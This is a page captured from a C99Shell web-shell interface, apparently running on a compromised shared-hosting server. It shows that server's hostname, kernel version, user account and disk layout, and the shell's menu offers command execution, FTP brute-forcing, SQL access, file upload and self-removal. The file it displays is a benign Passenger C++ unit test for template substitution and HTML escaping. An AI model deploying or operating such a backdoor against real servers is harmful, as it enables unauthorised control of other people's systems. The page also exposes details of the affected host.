!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/test/cxx/StrIntTools/   drwxr-xr-x
Free 289.87 GB of 429.69 GB (67.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TemplateTest.cpp (3.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <TestSupport.h>
#include <StrIntTools/Template.h>
#include <cstdarg>

using namespace Passenger;

namespace tut {
    struct StrIntTools_TemplateTest: public TestBase {
        string apply(const char *templateContent, ...) {
            va_list ap;
            const char *arg;
            StringMap<StaticString> params;

            va_start(ap, templateContent);
            while ((arg = va_arg(ap, const char *)) != NULL) {
                params.set(arg, va_arg(ap, const char *));
            }
            string result = Template::apply(templateContent, params);
            va_end(ap);
            return result;
        }
    };

    DEFINE_TEST_GROUP(StrIntTools_TemplateTest);

    TEST_METHOD(1) {
        // Test 1 substitution.
        string result = apply("hello {{name}}",
            "name", "world",
            NULL);
        ensure_equals(result, "hello world");
    }

    TEST_METHOD(2) {
        // Test multiple substitutions.
        string result = apply("hello {{name}} and {{name2}}",
            "name", "joe",
            "name2", "jane",
            NULL);
        ensure_equals(result, "hello joe and jane");
    }

    TEST_METHOD(3) {
        // Test unspecified substitutions.
        string result = apply("hello {{name}} and {{name2}}!",
            "name", "joe",
            NULL);
        ensure_equals(result, "hello joe and !");
    }

    TEST_METHOD(4) {
        // Test default values.
        string result = apply("hello {{name|default=joe}} and {{name2|default=jane}}",
            NULL);
        ensure_equals(result, "hello joe and jane");
    }

    TEST_METHOD(5) {
        // Substitutions are HTML-escaped by default.
        string result = apply("hello {{name}}",
            "name", "<joe>",
            NULL);
        ensure_equals(result, "hello &lt;joe&gt;");
        result = apply("hello {{name|default=<joe>}}",
            NULL);
        ensure_equals(result, "hello &lt;joe&gt;");
    }

    TEST_METHOD(6) {
        // HTML escaping can be disabled with the 'raw' option.
        string result = apply("hello {{name|raw}}",
            "name", "<joe>",
            NULL);
        ensure_equals(result, "hello <joe>");
    }

    TEST_METHOD(7) {
        // Test combining default values and the 'raw' option.
        string result = apply("hello {{name|raw,default=<joe>}}",
            NULL);
        ensure_equals(result, "hello <joe>");
    }

    TEST_METHOD(8) {
        // Test 'if' statements.
        string result = apply("hello. {{if morning}}good morning. {{/if}}{{if evening}}good evening. {{/if}}",
            "morning", "true",
            NULL);
        ensure_equals(result, "hello. good morning. ");
    }

    TEST_METHOD(9) {
        // An 'if' condition is considered true when it is neither the empty string nor "false".
        string result = apply("hello. {{if morning}}good morning. {{/if}}"
            "{{if afternoon}}good afternoon. {{/if}"
            "{{if evening}}good evening. {{/if}}",
            "morning", "of course",
            "afternoon", "false",
            NULL);
        ensure_equals(result, "hello. good morning. ");
    }

    TEST_METHOD(10) {
        // Test nesting substitutions within 'if's.
        string result = apply("hello. {{if name}}good morning {{name}}.{{/if}}",
            "name", "joe",
            NULL);
        ensure_equals(result, "hello. good morning joe.");
    }

    TEST_METHOD(11) {
        // Test auto-breaking on certain characters.
        string result = apply("{{content}}",
            "content", "Hello, world: a=b;c=d",
            NULL);
        ensure_equals(result, "Hello,<wbr> world:<wbr> a=<wbr>b;<wbr>c=<wbr>d");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0975 ]--